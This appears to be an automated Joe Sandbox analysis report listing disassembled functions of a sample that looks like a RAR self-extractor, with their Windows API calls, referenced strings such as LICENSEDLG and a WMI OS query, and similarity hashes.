
Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _wcslen$CloseCurrentErrorH_prologHandleLastProcess
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3122303884-3508440684
Opcode ID: ddf1390b31474f96f3e4211ea6889b31d96f5a234783ffc500842de8e0c37f4c
Instruction ID: 494d865fe31e0d55f00f4a614f3de3c895241473a594704aacf7d77f441ac92a
Opcode Fuzzy Hash: ddf1390b31474f96f3e4211ea6889b31d96f5a234783ffc500842de8e0c37f4c
Instruction Fuzzy Hash: 0041B3B1D4C744BAEB21A7749C82FEEB7E8DB06704F0044D5F955A6182EA74AA448721

Function 00BBB5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA1316: GetDlgItem.USER32(00000000,00003021), ref: 00BA135A
Part of subcall function 00BA1316: SetWindowTextW.USER32(00000000,00BD35F4), ref: 00BA1370

EndDialog.USER32(?,00000001), ref: 00BBB610
SendMessageW.USER32(?,00000080,00000001,?), ref: 00BBB637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00BBB650
SetWindowTextW.USER32(?,?), ref: 00BBB661
GetDlgItem.USER32(?,00000065), ref: 00BBB66A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00BBB67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00BBB694

Strings

LICENSEDLG, xrefs: 00BBB5D4

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 80b7d40b61d7f132306f67f63c635d087307f23b886ad6dcc2cc3ef89bc65eb5
Instruction ID: c1afcca77030aff2bae6d2a4c77caf8a3e5282ce464f3114d23e634c6312a0ca
Opcode Fuzzy Hash: 80b7d40b61d7f132306f67f63c635d087307f23b886ad6dcc2cc3ef89bc65eb5
Instruction Fuzzy Hash: 3021D332204219BBD6215F66ED89FBF7BADEB4AB45F020054F606A70A0CFD29D01D635

Function 00BBFD10 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,42197640,00000001,00000000,00000000,?,?,00BAAF6C,ROOT\CIMV2), ref: 00BBFD99
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,00BAAF6C,ROOT\CIMV2), ref: 00BBFE14
SysAllocString.OLEAUT32(00000000), ref: 00BBFE1F
_com_issue_error.COMSUPP ref: 00BBFE48
_com_issue_error.COMSUPP ref: 00BBFE52
GetLastError.KERNEL32(80070057,42197640,00000001,00000000,00000000,?,?,00BAAF6C,ROOT\CIMV2), ref: 00BBFE57
_com_issue_error.COMSUPP ref: 00BBFE6A
GetLastError.KERNEL32(00000000,?,?,00BAAF6C,ROOT\CIMV2), ref: 00BBFE80
_com_issue_error.COMSUPP ref: 00BBFE93

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: f482c928c5b564fa74466495c6ef63f4dd9ee290e7f9d54ee2d71fcd3632002d
Instruction ID: 125c543d9d877874c9cbe0f08b3c790d5907108bed6d650a69febb401c2058be
Opcode Fuzzy Hash: f482c928c5b564fa74466495c6ef63f4dd9ee290e7f9d54ee2d71fcd3632002d
Instruction Fuzzy Hash: 0B41C971A00216ABDB109F68CC45BFEFBE8EB48B10F1082BAF915E7251DB75D940C7A5

Function 00BAAF24 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BAAF29

Strings

Name, xrefs: 00BAB0B0
ROOT\CIMV2, xrefs: 00BAAF5C
SELECT * FROM Win32_OperatingSystem, xrefs: 00BAAFCA
WQL, xrefs: 00BAAFDC
Windows 10, xrefs: 00BAB0C2

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: 6e0df7213842721af5001d7fddabe500baaf86ed2041fb3decab727d809d4039
Instruction ID: 2be76485e55ded6af8ad9ca3828172bfb7f5d8c8b1b0c3dfc4b4eebe759a25e3
Opcode Fuzzy Hash: 6e0df7213842721af5001d7fddabe500baaf86ed2041fb3decab727d809d4039
Instruction Fuzzy Hash: 61715971A00219AFDF24DFA4C895DAEB7F9FF49710B14019EE512E72A1DB31AE01CB61

Function 00BA9382 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BA9387
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00BA93AA
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00BA93C9

Part of subcall function 00BAC29A: _wcslen.LIBCMT ref: 00BAC2A2

Part of subcall function 00BB1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00BAC116,00000000,.exe,?,?,00000800,?,?,?,00BB8E3C), ref: 00BB1FD1

_swprintf.LIBCMT ref: 00BA9465

Part of subcall function 00BA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BA40A5

MoveFileW.KERNEL32(?,?), ref: 00BA94D4
MoveFileW.KERNEL32(?,?), ref: 00BA9514

Strings

rtmp%d, xrefs: 00BA944E

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: cae904e929da3ff395fd062decff20f1acb4fd33bb79a764573dd7c3939fd4b8
Instruction ID: 7689e8250d44b21e914af7fcc0ba05d30b56eddad2829bbd8e5b30e94868d237
Opcode Fuzzy Hash: cae904e929da3ff395fd062decff20f1acb4fd33bb79a764573dd7c3939fd4b8
Instruction Fuzzy Hash: 5C41667190425866DF21AB60CC56EEE73FCEF56740F0048E5B649E3151EF748B89DB60

Function 00BB1218 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00BB122E

Part of subcall function 00BAB146: GetVersionExW.KERNEL32(?), ref: 00BAB16B

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,?), ref: 00BB1251
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,?), ref: 00BB1263
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00BB1274
SystemTimeToFileTime.KERNEL32(?,?), ref: 00BB1284
SystemTimeToFileTime.KERNEL32(?,?), ref: 00BB1294
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00BB12CF
__aullrem.LIBCMT ref: 00BB1379

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 62f80025f2c2cbaff42f1934d16eb3a618fc03b78168d1f2c13ff18e5690bede
Instruction ID: 9dc21c0c6d110dcf8a53171731cef41555ac7754a9a6f09adf85b1ecadaffa06
Opcode Fuzzy Hash: 62f80025f2c2cbaff42f1934d16eb3a618fc03b78168d1f2c13ff18e5690bede
Instruction Fuzzy Hash: 914116B1508306AFC710DF69C8849ABFBE9FB88714F408D2EF596D2210E774E649CB52

Function 00BA2210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00BA2536

Part of subcall function 00BA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BA40A5

Part of subcall function 00BB05DA: _wcslen.LIBCMT ref: 00BB05E0

Strings

;%u, xrefs: 00BA2523
xc%u, xrefs: 00BA275A
x%u, xrefs: 00BA26FD

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: d65b42c538abd3b687c72b2edc91531a968785851c9a68a6138706a174bc568b
Instruction ID: b9d5457d174da1615b30a1cfee34701c22e7e618db9f5426f3d344f47b43be8d
Opcode Fuzzy Hash: d65b42c538abd3b687c72b2edc91531a968785851c9a68a6138706a174bc568b
Instruction Fuzzy Hash: 1BF1277060C3409BCF25DB2C8595BFE7BD5AF92300F0845EDFD869B283DB64994987A2

Function 00BB9CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BB9D0A

Strings

<br>, xrefs: 00BB9DFE
</style>, xrefs: 00BB9E52
>, xrefs: 00BB9D4B
</p>, xrefs: 00BB9DE8
<style>, xrefs: 00BB9E30

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: b6e35a17a5bccd1475f6116bc79360b0d0cffca711bbfabc518c9b62fac97509
Instruction ID: 1cc1eb71cf02c2078eb382c62522c058f756ca16c990e207b22dd3452d452fe0
Opcode Fuzzy Hash: b6e35a17a5bccd1475f6116bc79360b0d0cffca711bbfabc518c9b62fac97509
Instruction Fuzzy Hash: 2251F85674032397DB349A2A98117F673E0DFA1750F6944AAFBC1CB2C0FBE5CC458261

Function 00BCF68D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00BCFE02,00000000,00000000,00000000,00000000,00000000,?), ref: 00BCF6CF
__fassign.LIBCMT ref: 00BCF74A
__fassign.LIBCMT ref: 00BCF765
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00BCF78B
WriteFile.KERNEL32(?,00000000,00000000,00BCFE02,00000000,?,?,?,?,?,?,?,?,?,00BCFE02,00000000), ref: 00BCF7AA
WriteFile.KERNEL32(?,00000000,00000001,00BCFE02,00000000,?,?,?,?,?,?,?,?,?,00BCFE02,00000000), ref: 00BCF7E3

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 7c121faffcf2a9ec5b991a6c8036736a0d516d700534c95fe3bd82459cf6f893
Instruction ID: 28e97ceafe97ca54f92101f7e53956a4790c0fddba43b32d471b7115cf359f35
Opcode Fuzzy Hash: 7c121faffcf2a9ec5b991a6c8036736a0d516d700534c95fe3bd82459cf6f893
Instruction Fuzzy Hash: C55192B190024A9FDB10CFA8DC85FEEBBF5EF09310F1441AEE555E7251E630AA40CBA0

Function 00BC2900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00BC2937
___except_validate_context_record.LIBVCRUNTIME ref: 00BC293F
_ValidateLocalCookies.LIBCMT ref: 00BC29C8
__IsNonwritableInCurrentImage.LIBCMT ref: 00BC29F3
_ValidateLocalCookies.LIBCMT ref: 00BC2A48

Strings

csm, xrefs: 00BC29DD

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 74badd0563bcd62415fd694bd70e6d36facda516f6fa1f19879a24d7b95c7b63
Instruction ID: 18390740d05dd0fd6ec2240a1bf019b640073df49e511123882a225ac6ae53d8
Opcode Fuzzy Hash: 74badd0563bcd62415fd694bd70e6d36facda516f6fa1f19879a24d7b95c7b63
Instruction Fuzzy Hash: FF418434A002089FCF10DF68C885F9EBBE5EF44314F1480AAE8195B392D7719A55CB91

Function 00BB9ED5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00BB9EEE
GetWindowRect.USER32(?,00000000), ref: 00BB9F44
ShowWindow.USER32(?,00000005,00000000), ref: 00BB9FDB
SetWindowTextW.USER32(?,00000000), ref: 00BB9FE3
ShowWindow.USER32(00000000,00000005), ref: 00BB9FF9

Strings

RarHtmlClassName, xrefs: 00BB9FA5

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 8121f49e0861c8cbcb815d8f11515210d5f09b5f4a2c3a73e2d255aeb5293eb8
Instruction ID: 6bebe29c595b15c2e2ab9990a3cddf57e0f8b0c547b39c56e1b297f33468e1dd
Opcode Fuzzy Hash: 8121f49e0861c8cbcb815d8f11515210d5f09b5f4a2c3a73e2d255aeb5293eb8
Instruction Fuzzy Hash: A041BF31508214EFDB216F649C48BBFBFECEF48711F008599F949AA156CB74E904CBA1

Function 00BB9955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BB995E
_wcslen.LIBCMT ref: 00BB9993

Strings

<br>, xrefs: 00BB99DF
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00BB9987
, xrefs: 00BB99B0
 , xrefs: 00BB9A21

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: a49a322d36a75af75603cf6d850a03e2524940be6b6de08c2479df888e7d5228
Instruction ID: b11e8305649fcab9ea4de945e6648bcefd55bdaff81209abdc52bb59ce3d0c20
Opcode Fuzzy Hash: a49a322d36a75af75603cf6d850a03e2524940be6b6de08c2479df888e7d5228
Instruction Fuzzy Hash: F6313E3264434597D634AB549C42FFAB3E4EB50720F50849FFA96572C0FBE0AD4183A1

Function 00BCC8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BCC868: _free.LIBCMT ref: 00BCC891

_free.LIBCMT ref: 00BCC8F2

Part of subcall function 00BC8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BCC896,00BD3A34,00000000,00BD3A34,00000000,?,00BCC8BD,00BD3A34,00000007,00BD3A34,?,00BCCCBA,00BD3A34), ref: 00BC8DE2
Part of subcall function 00BC8DCC: GetLastError.KERNEL32(00BD3A34,?,00BCC896,00BD3A34,00000000,00BD3A34,00000000,?,00BCC8BD,00BD3A34,00000007,00BD3A34,?,00BCCCBA,00BD3A34,00BD3A34), ref: 00BC8DF4

_free.LIBCMT ref: 00BCC8FD
_free.LIBCMT ref: 00BCC908
_free.LIBCMT ref: 00BCC95C
_free.LIBCMT ref: 00BCC967
_free.LIBCMT ref: 00BCC972
_free.LIBCMT ref: 00BCC97D

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction ID: 9d486d0f5b41738b579729d47c04b0f1907a91bc102fe6fcb7ffed4c3619bb06
Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction Fuzzy Hash: 0A110A71580B04AAE621BBB1DC07FDB7BFCAF24B00F804C6DF2DEA6092DA65A5058750

Function 00BBE5EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00BBE669,00BBE5CC,00BBE86D), ref: 00BBE605
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00BBE61B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00BBE630

Strings

KERNEL32.DLL, xrefs: 00BBE600
ReleaseSRWLockExclusive, xrefs: 00BBE625
AcquireSRWLockExclusive, xrefs: 00BBE615

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: a8e5bee8c9be4193a1115a838a8c81d78c9c5225683e5d5e2819db05b76b2535
Instruction ID: 51950023a947c6373e20b6d0fd5dd755e4cc992fa74c40e0f44eea2b2b4d094f
Opcode Fuzzy Hash: a8e5bee8c9be4193a1115a838a8c81d78c9c5225683e5d5e2819db05b76b2535
Instruction Fuzzy Hash: C8F0C2317912225B5F224F649C947FAB3C8AE3574531904FAED23D3270FB90CC50AA91

Function 00BB146A Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00BB14C2

Part of subcall function 00BAB146: GetVersionExW.KERNEL32(?), ref: 00BAB16B

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00BB14E6
FileTimeToSystemTime.KERNEL32(?,?), ref: 00BB1500
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00BB1513
SystemTimeToFileTime.KERNEL32(?,?), ref: 00BB1523
SystemTimeToFileTime.KERNEL32(?,?), ref: 00BB1533

Memory Dump Source

Source File: 00000009.00000002.2230498730.0000000000BA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000009.00000002.2230478148.0000000000BA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000BE5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230594752.0000000000C02000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2230855945.0000000000C03000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ba0000_muNJF0r.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
